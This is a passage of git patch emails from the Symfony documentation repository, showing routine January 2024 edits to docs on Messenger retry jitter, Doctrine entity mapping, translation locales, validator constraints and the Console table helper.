-                        <framework:retry-strategy max-retries="3" delay="1000" multiplier="2" max-delay="0"/>
+                        <framework:retry-strategy max-retries="3" delay="1000" multiplier="2" max-delay="0" jitter="0.1"/>
                     </framework:transport>
                 </framework:messenger>
             </framework:config>
@@ -1030,6 +1032,8 @@ this is configurable for each transport:
                     // e.g. 1 second delay, 2 seconds, 4 seconds
                     ->multiplier(2)
                     ->maxDelay(0)
+                    // applies randomness to the delay that can prevent the thundering herd effect
+                    ->jitter(0.1)
                     // override all of this with a service that
                     // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
                     ->service(null)

From e72beecb26dbccb06bb49ef8af7c77ee5ed7fce9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 8 Jan 2024 09:35:23 +0100
Subject: [PATCH 5620/7107] use PHP 8.2 for Symfony 7 builds

We were actually never running our test application with Symfony 7.0/7.1
as our CI config prevented Symfony 7 components to be installed:

Your requirements could not be resolved to an installable set of packages.

  Problem 1
    - Root composer.json requires symfony/asset * -> satisfiable by symfony/asset[7.1.x-dev].
    - symfony/asset 7.1.x-dev requires php >=8.2 -> your php version (8.1.27) does not satisfy that requirement.
---
 .github/workflows/ci.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index af2ea3a28a7..c9eb6ae7b38 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -90,7 +90,7 @@ jobs:
           - name: Set-up PHP
             uses: shivammathur/setup-php@v2
             with:
-                php-version: 8.1
+                php-version: 8.2
                 coverage: none
 
           - name: Fetch branch from where the PR started

From 9fc538bf61f6e0d0932e1fcb4ddf853975aa8e3d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jan 2024 09:48:40 +0100
Subject: [PATCH 5621/7107] Minor tweak

---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index fbf0933f1be..5f376ffbb31 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -987,6 +987,7 @@ this is configurable for each transport:
                             multiplier: 2
                             max_delay: 0
                             # applies randomness to the delay that can prevent the thundering herd effect
+                            # the value (between 0 and 1.0) is the percentage of 'delay' that will be added/subtracted
                             jitter: 0.1
                             # override all of this with a service that
                             # implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
@@ -1033,6 +1034,7 @@ this is configurable for each transport:
                     ->multiplier(2)
                     ->maxDelay(0)
                     // applies randomness to the delay that can prevent the thundering herd effect
+                    // the value (between 0 and 1.0) is the percentage of 'delay' that will be added/subtracted
                     ->jitter(0.1)
                     // override all of this with a service that
                     // implements Symfony\Component\Messenger\Retry\RetryStrategyInterface
@@ -1040,6 +1042,10 @@ this is configurable for each transport:
             ;
         };
 
+.. versionadded:: 7.1
+
+    The ``jitter`` option was introduced in Symfony 7.1.
+
 .. tip::
 
     Symfony triggers a :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`

From 5dcaa08af2484f5ce2a3e7604433d216ffb04487 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 8 Jan 2024 09:59:28 +0100
Subject: [PATCH 5622/7107] update default message

---
 reference/constraints/MacAddress.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index e13420bd832..952412c4061 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -87,7 +87,7 @@ Options
 ``message``
 ~~~~~~~~~~~
 
-**type**: ``string`` **default**: ``This is not a valid MAC address.``
+**type**: ``string`` **default**: ``This value is not a valid MAC address.``
 
 This is the message that will be shown if the value is not a valid MAC address.
 

From 26ca6ea010e453a8cfe6c6eb74d5a014a33b08fe Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 8 Jan 2024 11:03:52 +0100
Subject: [PATCH 5623/7107] [Validator] Added a link in a constraint
 description

---
 reference/constraints/MacAddress.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst
index e13420bd832..cff74936c29 100644
--- a/reference/constraints/MacAddress.rst
+++ b/reference/constraints/MacAddress.rst
@@ -5,7 +5,7 @@ MacAddress
 
     The ``MacAddress`` constraint was introduced in Symfony 7.1.
 
-This constraint ensures that the given value is a valid MAC address (internally it
+This constraint ensures that the given value is a valid `MAC address`_ (internally it
 uses the ``FILTER_VALIDATE_MAC`` option of the :phpfunction:`filter_var` PHP
 function).
 
@@ -102,3 +102,5 @@ Parameter            Description
 .. include:: /reference/constraints/_normalizer-option.rst.inc
 
 .. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`MAC address`: https://en.wikipedia.org/wiki/MAC_address

From e2b7dad0060d83cee94d27798d3390a5d858d146 Mon Sep 17 00:00:00 2001
From: Enzo Santamaria <62953579+Enz000@users.noreply.github.com>
Date: Mon, 8 Jan 2024 12:11:15 +0100
Subject: [PATCH 5624/7107] [Security] fix getUser function link

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 65f83942432..9dafd16a883 100644
--- a/security.rst
+++ b/security.rst
@@ -1097,7 +1097,7 @@ token (or whatever you need to return) and return the JSON response:
 
     The ``#[CurrentUser]`` can only be used in controller arguments to
     retrieve the authenticated user. In services, you would use
-    :method:`Symfony\\Component\\Security\\Core\\Security::getUser`.
+    :method:`Symfony\\Bundle\\SecurityBundle\\Security::getUser`.
 
 That's it! To summarize the process:
 

From 47e0be071d55b58026214d4ebc3177b52d4fb364 Mon Sep 17 00:00:00 2001
From: Quentin Devos <4972091+Okhoshi@users.noreply.github.com>
Date: Mon, 8 Jan 2024 23:03:32 +0100
Subject: [PATCH 5625/7107] [FrameworkBundle] Update cache_dir config

Signed-off-by: Quentin Devos <4972091+Okhoshi@users.noreply.github.com>
---
 reference/configuration/framework.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 254fe7fcbd1..2d54d54c79a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1511,6 +1511,19 @@ cache_dir
 The directory where routing information will be cached. Can be set to
 ``~`` (``null``) to disable route caching.
 
+.. deprecated:: 7.1
+
+    Setting the ``cache_dir`` option is deprecated since Symfony 7.1. The routes
+    are now always cached in the ``%kernel.build_dir%`` directory. If you want
+    to disable route caching, set the ``ignore_cache`` option to ``true``.
+
+ignore_cache
+............
+
+**type**: ``boolean`` **default**: ``false``
+
+When this option is set to ``true``, routing information will not be cached.
+
 secrets
 ~~~~~~~
 

From 1d14659839d98e2e9f61b307941bfbf2f7e216ee Mon Sep 17 00:00:00 2001
From: Florian Cellier <vcs.cellier.florian.283@gmail.com>
Date: Tue, 9 Jan 2024 15:22:27 +0100
Subject: [PATCH 5626/7107] [Doctrine] Mapping types link

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 6777a31cc2f..8caef5e9799 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -889,7 +889,7 @@ Learn more
 
 .. _`Doctrine`: https://www.doctrine-project.org/
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
-.. _`Doctrine's Mapping Types documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html
+.. _`Doctrine's Mapping Types documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html#reference-mapping-types
 .. _`Query Builder`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/query-builder.html
 .. _`Doctrine Query Language`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/dql-doctrine-query-language.html
 .. _`Reserved SQL keywords documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html#quoting-reserved-words

From e135a32dc40b1b42d0b9892cf0a679c26a61df9a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 10 Jan 2024 12:13:58 +0100
Subject: [PATCH 5627/7107] Tweak

---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 8caef5e9799..06e01615757 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -198,7 +198,7 @@ The ``make:entity`` command is a tool to make life easier. But this is *your* co
 add/remove fields, add/remove methods or update configuration.
 
 Doctrine supports a wide variety of field types, each with their own options.
-To see a full list, check out `Doctrine's Mapping Types documentation`_.
+Check out the `list of Doctrine mapping types`_ in the Doctrine documentation.
 If you want to use XML instead of annotations, add ``type: xml`` and
 ``dir: '%kernel.project_dir%/config/doctrine'`` to the entity mappings in your
 ``config/packages/doctrine.yaml`` file.
@@ -889,7 +889,7 @@ Learn more
 
 .. _`Doctrine`: https://www.doctrine-project.org/
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
-.. _`Doctrine's Mapping Types documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html#reference-mapping-types
+.. _`list of Doctrine mapping types`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html#reference-mapping-types
 .. _`Query Builder`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/query-builder.html
 .. _`Doctrine Query Language`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/dql-doctrine-query-language.html
 .. _`Reserved SQL keywords documentation`: https://www.doctrine-project.org/projects/doctrine-orm/en/current/reference/basic-mapping.html#quoting-reserved-words

From fc79c882f74526850282e5c9b93f238dc0708e1a Mon Sep 17 00:00:00 2001
From: Florian Cellier <vcs.cellier.florian.283@gmail.com>
Date: Mon, 8 Jan 2024 17:35:57 +0100
Subject: [PATCH 5628/7107] doc: Update configuration.rst

---
 configuration.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index ac9a89ea127..57e448e47c0 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -1287,14 +1287,14 @@ namespace ``Symfony\Config``::
         $security->firewall('main')
             ->pattern('^/*')
             ->lazy(true)
-            ->anonymous();
+            ->security(false);
 
         $security
             ->roleHierarchy('ROLE_ADMIN', ['ROLE_USER'])
             ->roleHierarchy('ROLE_SUPER_ADMIN', ['ROLE_ADMIN', 'ROLE_ALLOWED_TO_SWITCH'])
             ->accessControl()
                 ->path('^/user')
-                ->role('ROLE_USER');
+                ->roles('ROLE_USER');
 
         $security->accessControl(['path' => '^/admin', 'roles' => 'ROLE_ADMIN']);
     };

From 8972b2c503ffdc74e7b46d88c54bc0bf7f61f48c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 10 Jan 2024 17:25:16 +0100
Subject: [PATCH 5629/7107] Use .. note:: directive

---
 serializer/custom_normalizer.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index f3c099e6466..370695ef2c9 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -148,7 +148,9 @@ Here is an example of how to use the ``getSupportedTypes()`` method::
         }
     }
 
-Note that ``supports*()`` method implementations should not assume that
-``getSupportedTypes()`` has been called before.
+.. note::
+
+    The ``supports*()`` method implementations should not assume that
+    ``getSupportedTypes()`` has been called before.
 
 .. _`API Platform`: https://api-platform.com

From 1cb992fac104e2521be50ef623e7b5888c1a073b Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 10 Jan 2024 21:44:21 +0100
Subject: [PATCH 5630/7107] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 17b6ea8ac74..ed323a8ee83 100644
--- a/README.md
+++ b/README.md
@@ -28,7 +28,7 @@ the [Symfony Docs Contributing Guide](https://symfony.com/doc/current/contributi
 
 > [!IMPORTANT]
 > Use `5.4` branch as the base of your pull requests, unless you are documenting a
-> feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 6.3).
+> feature that was introduced *after* Symfony 5.4 (e.g. in Symfony 7.1).
 
 Build Documentation Locally
 ---------------------------

From 8e5a16460e85ff5a54151ebc34a2d0fc4bb289da Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Wed, 10 Jan 2024 22:09:18 +0100
Subject: [PATCH 5631/7107] [Form] Add option separator to ChoiceType to use a
 custom separator after preferred choices

---
 reference/constraints/Choice.rst | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 5a9c365be37..1a3e6d356f0 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -389,3 +389,25 @@ Parameter        Description
 ===============  ==============================================================
 
 .. include:: /reference/constraints/_payload-option.rst.inc
+
+``separator``
+~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``-------------------``
+
+This option allows you to customize separator after preferred choices.
+
+.. versionadded:: 7.1
+
+    The ``separator`` option was introduced in Symfony 7.1.
+
+``separator_html``
+~~~~~~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+If this option is true, `separator`_ option will be display as HTML instead of text
+
+.. versionadded:: 7.1
+
+    The ``separator_html`` option was introduced in Symfony 7.1.

From dcd25e7ca2275cb511cf7b0d65ee551661bcf5fe Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 3 Jan 2024 08:49:32 +0100
Subject: [PATCH 5632/7107] [Contracts][DependencyInjection] Mention that
 locators are traversable

---
 .../service_subscribers_locators.rst          | 31 +++++++++++++++----
 1 file changed, 25 insertions(+), 6 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 3db82ad3007..897a82f8195 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -110,17 +110,36 @@ in the service subscriber::
     that you have :ref:`autoconfigure <services-autoconfigure>` enabled. You
     can also manually add the ``container.service_subscriber`` tag.
 
-The injected service is an instance of :class:`Symfony\\Component\\DependencyInjection\\ServiceLocator`
-which implements both the PSR-11 ``ContainerInterface`` and :class:`Symfony\\Contracts\\Service\\ServiceProviderInterface`.
-It is also a callable and a countable::
+A service locator is a PSR11 container that contains a set of services,
+but only instantiates them when they are actually used. Let's take a closer
+look at this part::
+
+    // ...
+    $handler = $this->locator->get($commandClass);
+
+    return $handler->handle($command);
+
+In the example above, the ``$handler`` service is only instantiated when the
+``$this->locator->get($commandClass)`` method is called.
+
+You can also type-hint the service locator argument with
+:class:`Symfony\\Contracts\\Service\\ServiceCollectionInterface` instead of
+:class:`Psr\\Container\\ContainerInterface`. By doing so, you'll be able to
+count and iterate over the services of the locator::
 
     // ...
     $numberOfHandlers = count($this->locator);
     $nameOfHandlers = array_keys($this->locator->getProvidedServices());
-    // ...
-    $handler = ($this->locator)($commandClass);
 
-    return $handler->handle($command);
+    // you can iterate through all services of the locator
+    foreach ($this->locator as $serviceId => $service) {
+        // do something with the service, the service id or both
+    }
+
+.. versionadded:: 7.1
+
+    The :class:`Symfony\\Contracts\\Service\\ServiceCollectionInterface` was
+    introduced in Symfony 7.1.
 
 Including Services
 ------------------

From a7f5f3062f976017cd516aeea68bddd3f42ce664 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Jan 2024 13:34:37 +0100
Subject: [PATCH 5633/7107] Tweak

---
 reference/constraints/Choice.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index 1a3e6d356f0..8bafaaede7b 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -395,7 +395,9 @@ Parameter        Description
 
 **type**: ``string`` **default**: ``-------------------``
 
-This option allows you to customize separator after preferred choices.
+This option allows you to customize the visual separator shown after the preferred
+choices. You can use HTML elements like ``<hr>`` to display a more modern separator,
+but you'll also need to set the `separator_html`_ option to ``true``.
 
 .. versionadded:: 7.1
 
@@ -406,7 +408,9 @@ This option allows you to customize separator after preferred choices.
 
 **type**: ``boolean`` **default**: ``false``
 
-If this option is true, `separator`_ option will be display as HTML instead of text
+If this option is true, the `separator`_ option will be displayed as HTML instead
+of text. This is useful when using HTML elements (e.g. ``<hr>``) as a more modern
+visual separator.
 
 .. versionadded:: 7.1
 

From 693b19467e6d50d1e95ba2d1a330487f493ecb3d Mon Sep 17 00:00:00 2001
From: Florian Cellier <vcs.cellier.florian.283@gmail.com>
Date: Wed, 10 Jan 2024 16:53:07 +0100
Subject: [PATCH 5634/7107] [Doctrine] Profiler bar only visible with at least 
 tags `<body></body>`

---
 doctrine.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index 06e01615757..3e56c58dc53 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -601,9 +601,13 @@ the :ref:`doctrine-queries` section.
     see the web debug toolbar, install the ``profiler`` :ref:`Symfony pack <symfony-packs>`
     by running this command: ``composer require --dev symfony/profiler-pack``.
 
+    For more information on ``profiler``, see :doc:`/profiler`.
+
 Automatically Fetching Objects (ParamConverter)
 -----------------------------------------------
 
+.. _doctrine-entity-value-resolver:
+
 In many cases, you can use the `SensioFrameworkExtraBundle`_ to do the query
 for you automatically! First, install the bundle in case you don't have it:
 

From bfcaf83e266856314dc814e7eebb0fad941e1327 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Jan 2024 14:54:31 +0100
Subject: [PATCH 5635/7107] Tweak

---
 doctrine.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine.rst b/doctrine.rst
index 3e56c58dc53..03e4428db0b 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -601,7 +601,7 @@ the :ref:`doctrine-queries` section.
     see the web debug toolbar, install the ``profiler`` :ref:`Symfony pack <symfony-packs>`
     by running this command: ``composer require --dev symfony/profiler-pack``.
 
-    For more information on ``profiler``, see :doc:`/profiler`.
+    For more information, read the :doc:`Symfony profiler documentation </profiler>`.
 
 Automatically Fetching Objects (ParamConverter)
 -----------------------------------------------

From 12965fa552f443e445db225f5759ab1848da6a3a Mon Sep 17 00:00:00 2001
From: Florian Cellier <vcs.cellier.florian.283@gmail.com>
Date: Wed, 10 Jan 2024 12:53:53 +0100
Subject: [PATCH 5636/7107] [Doctrine] Update doctrine.rst

As the type hinting from setter is available, this example will not work.

Even without `declare(strict_types=1);` string which could be convert to integer will work but with it, impossible to run this example, as we will have the error "int" expected.
---
 doctrine.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index e22453db8a9..70f538e520b 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -448,12 +448,6 @@ Consider the following controller code::
         public function createProduct(ValidatorInterface $validator): Response
         {
             $product = new Product();
-            // This will trigger an error: the column isn't nullable in the database
-            $product->setName(null);
-            // This will trigger a type mismatch error: an integer is expected
-            $product->setPrice('1999');
-
-            // ...
 
             $errors = $validator->validate($product);
             if (count($errors) > 0) {

From ccaf3a124d879755ad72b39bbc7008849972e418 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jan 2024 15:15:48 +0100
Subject: [PATCH 5637/7107] Minor tweak

---
 doctrine.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/doctrine.rst b/doctrine.rst
index 70f538e520b..81fcac0f386 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -449,6 +449,8 @@ Consider the following controller code::
         {
             $product = new Product();
 
+            // ... update the product data somehow (e.g. with a form) ...
+
             $errors = $validator->validate($product);
             if (count($errors) > 0) {
                 return new Response((string) $errors, 400);

From fd7bcb8a1c94e2c8b3bd2f9cd411121bc498e49c Mon Sep 17 00:00:00 2001
From: Florian Cellier <vcs.cellier.florian.283@gmail.com>
Date: Wed, 10 Jan 2024 17:59:20 +0100
Subject: [PATCH 5638/7107] [Doctrine] The use of
 `doctrine.orm.controller_resolver.auto_mapping option`

---
 doctrine.rst | 62 +++++++++++++++++++++++++++-------------------------
 1 file changed, 32 insertions(+), 30 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 81fcac0f386..30f20f17d8d 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -640,34 +640,6 @@ automatically! You can simplify the controller to::
 That's it! The bundle uses the ``{id}`` from the route to query for the ``Product``
 by the ``id`` column. If it's not found, a 404 page is generated.
 
-This behavior is enabled by default on all your controllers. You can
-disable it by setting the ``doctrine.orm.controller_resolver.auto_mapping``
-config option to ``false``.
-
-When disabled, you can enable it individually on the desired controllers by
-using the ``MapEntity`` attribute::
-
-    // src/Controller/ProductController.php
-    namespace App\Controller;
-
-    use App\Entity\Product;
-    use Symfony\Bridge\Doctrine\Attribute\MapEntity;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
-    // ...
-
-    class ProductController extends AbstractController
-    {
-        #[Route('/product/{id}')]
-        public function show(
-            #[MapEntity]
-            Product $product
-        ): Response {
-            // use the Product!
-            // ...
-        }
-    }
-
 .. tip::
 
     When enabled globally, it's possible to disable the behavior on a specific
@@ -713,8 +685,38 @@ Automatic fetching works in these situations:
   *all* of the wildcards in your route that are actually properties
   on your entity (non-properties are ignored).
 
-You can control this behavior by actually *adding* the ``MapEntity``
-attribute and using the `MapEntity options`_.
+This behavior is enabled by default on all your controllers.
+
+You can only allow the use of the primary key ``id`` as a lookup placeholder
+for the routes parameters by setting ``doctrine.orm.controller_resolver.auto_mapping``
+config option to ``false``. The others entity attributes than ``id`` can't be used
+to autowire the entity.
+
+When disabled, you can enable the entity autowiring individually on the desired controllers
+by using the ``MapEntity`` attribute. You can control ``EntityValueResolver`` behavior
+with it by using the `MapEntity options`_ ::
+
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use App\Entity\Product;
+    use Symfony\Bridge\Doctrine\Attribute\MapEntity;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\Routing\Annotation\Route;
+    // ...
+
+    class ProductController extends AbstractController
+    {
+        #[Route('/product/{slug}')]
+        public function show(
+            #[MapEntity(mapping: ['slug' => 'slug'])]
+            Product $product
+        ): Response {
+            // use the Product!
+            // ...
+        }
+    }
+
 
 Fetch via an Expression
 ~~~~~~~~~~~~~~~~~~~~~~~

From e3d16d72c1e95970b11aec708ef45477620493f3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jan 2024 15:49:07 +0100
Subject: [PATCH 5639/7107] Reword

---
 doctrine.rst | 21 +++++++++------------
 1 file changed, 9 insertions(+), 12 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 30f20f17d8d..10291e9e7cf 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -685,16 +685,14 @@ Automatic fetching works in these situations:
   *all* of the wildcards in your route that are actually properties
   on your entity (non-properties are ignored).
 
-This behavior is enabled by default on all your controllers.
+This behavior is enabled by default on all controllers. If you prefer, you can
+restrict this feature to only work on route wildcards called ``id`` to look for
+entities by primary key. To do so, set the option
+``doctrine.orm.controller_resolver.auto_mapping`` to ``false``.
 
-You can only allow the use of the primary key ``id`` as a lookup placeholder
-for the routes parameters by setting ``doctrine.orm.controller_resolver.auto_mapping``
-config option to ``false``. The others entity attributes than ``id`` can't be used
-to autowire the entity.
-
-When disabled, you can enable the entity autowiring individually on the desired controllers
-by using the ``MapEntity`` attribute. You can control ``EntityValueResolver`` behavior
-with it by using the `MapEntity options`_ ::
+When ``auto_mapping`` is disabled, you can configure the mapping explicitly for
+any controller argument with the ``MapEntity`` attribute. You can even control
+the ``EntityValueResolver`` behavior by using the `MapEntity options`_ ::
 
     // src/Controller/ProductController.php
     namespace App\Controller;
@@ -717,12 +715,11 @@ with it by using the `MapEntity options`_ ::
         }
     }
 
-
 Fetch via an Expression
 ~~~~~~~~~~~~~~~~~~~~~~~
 
-If automatic fetching doesn't work, you can write an expression using the
-:doc:`ExpressionLanguage component </components/expression_language>`::
+If automatic fetching doesn't work for your use case, you can write an expression
+using the :doc:`ExpressionLanguage component </components/expression_language>`::
 
     #[Route('/product/{product_id}')]
     public function show(

From 67f5b49ed4bbef569edc3d8ba8ff187030e91087 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 11 Jan 2024 10:03:14 +0100
Subject: [PATCH 5640/7107] [Translation] Mention `enabled_locales`

---
 translation.rst             | 12 +++++++++---
 validation/translations.rst |  5 ++++-
 2 files changed, 13 insertions(+), 4 deletions(-)

diff --git a/translation.rst b/translation.rst
index 33549a66f56..bc58246c914 100644
--- a/translation.rst
+++ b/translation.rst
@@ -104,6 +104,11 @@ are located:
             ;
         };
 
+Additionally, you can enable only some locales instead of all of them. You can
+do this by using the
+:ref:`dedicated option <reference-translator-enabled-locales>` in your
+configuration.
+
 .. _translation-basic:
 
 Basic Translation
@@ -256,9 +261,10 @@ using the ``trans()`` method:
 
 #. A catalog of translated messages is loaded from translation resources
    defined for the ``locale`` (e.g. ``fr_FR``). Messages from the
-   :ref:`fallback locale <translation-fallback>` are also loaded and added to
-   the catalog if they don't already exist. The end result is a large
-   "dictionary" of translations.
+   :ref:`fallback locale <translation-fallback>` and the
+   :ref:`enabled locales <reference-translator-enabled-locales>` are also
+   loaded and added to the catalog if they don't already exist. The end result
+   is a large "dictionary" of translations.
 
 #. If the message is located in the catalog, the translation is returned. If
    not, the translator returns the original message.
diff --git a/validation/translations.rst b/validation/translations.rst
index 5b37fb30aca..e43b2f2da7a 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -121,7 +121,10 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
         ];
 
 You may need to clear your cache (even in the dev environment) after creating
-this file for the first time.
+this file for the first time. You may also need to enable the locale in your
+application configuration. This can be done by setting the
+:ref:`enabled_locales <reference-translator-enabled-locales>` option in
+your configuration files.
 
 You can also use :class:`Symfony\\Component\\Translation\\TranslatableMessage` to build your violation message::
 

From 8a75c6d913703e4bb5407132d5da13f68f7762e6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jan 2024 16:36:54 +0100
Subject: [PATCH 5641/7107] Tweaks and rewords

---
 translation.rst             |  8 ++++----
 validation/translations.rst | 13 +++++++++----
 2 files changed, 13 insertions(+), 8 deletions(-)

diff --git a/translation.rst b/translation.rst
index bc58246c914..c84038202be 100644
--- a/translation.rst
+++ b/translation.rst
@@ -104,10 +104,10 @@ are located:
             ;
         };
 
-Additionally, you can enable only some locales instead of all of them. You can
-do this by using the
-:ref:`dedicated option <reference-translator-enabled-locales>` in your
-configuration.
+.. tip::
+
+    You can also define the :ref:`enabled_locales option <reference-translator-enabled-locales>`
+    to restrict the locales that your application is available in.
 
 .. _translation-basic:
 
diff --git a/validation/translations.rst b/validation/translations.rst
index e43b2f2da7a..9a4ece17736 100644
--- a/validation/translations.rst
+++ b/validation/translations.rst
@@ -121,10 +121,15 @@ Now, create a ``validators`` catalog file in the ``translations/`` directory:
         ];
 
 You may need to clear your cache (even in the dev environment) after creating
-this file for the first time. You may also need to enable the locale in your
-application configuration. This can be done by setting the
-:ref:`enabled_locales <reference-translator-enabled-locales>` option in
-your configuration files.
+this file for the first time.
+
+.. tip::
+
+    Symfony will also create translation files for the built-in validation messages.
+    You can optionally set the :ref:`enabled_locales <reference-translator-enabled-locales>`
+    option to restrict the available locales in your application. This will improve
+    performance a bit because Symfony will only generate the translation files
+    for those locales instead of all of them.
 
 You can also use :class:`Symfony\\Component\\Translation\\TranslatableMessage` to build your violation message::
 

From 4a814a65f9fd399662d341b66ea9178ae9450dad Mon Sep 17 00:00:00 2001
From: sarah-eit <s.fleret@itefficience.com>
Date: Wed, 3 Jan 2024 10:04:52 +0100
Subject: [PATCH 5642/7107] [Console] [components] add information about the
 addRows method - table.rst

---
 components/console/helpers/table.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index e83ed352a3e..8d160689de7 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -432,3 +432,24 @@ This will display the following table in the terminal:
     | Love    |
     | Symfony |
     +---------+
+
+.. tip::
+
+    You can create multiple lines using the :method:`Symfony\\Component\\Console\\Helper\\Table::addRows` method::
+
+        // ...
+        $table->addRows([
+            ['Hello', 'World'],
+            ['Love', 'Symfony'],
+        ]);
+        $table->render();
+        // ...
+
+    This will display:
+
+    .. code-block:: terminal
+
+        +-------+---------+
+        | Hello | World   |
+        | Love  | Symfony |
+        +-------+---------+

From ee5e28f3c5a67aeb72c73e115d0bb95edb97d6bb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Jan 2024 16:56:22 +0100
Subject: [PATCH 5643/7107] Tweak

---
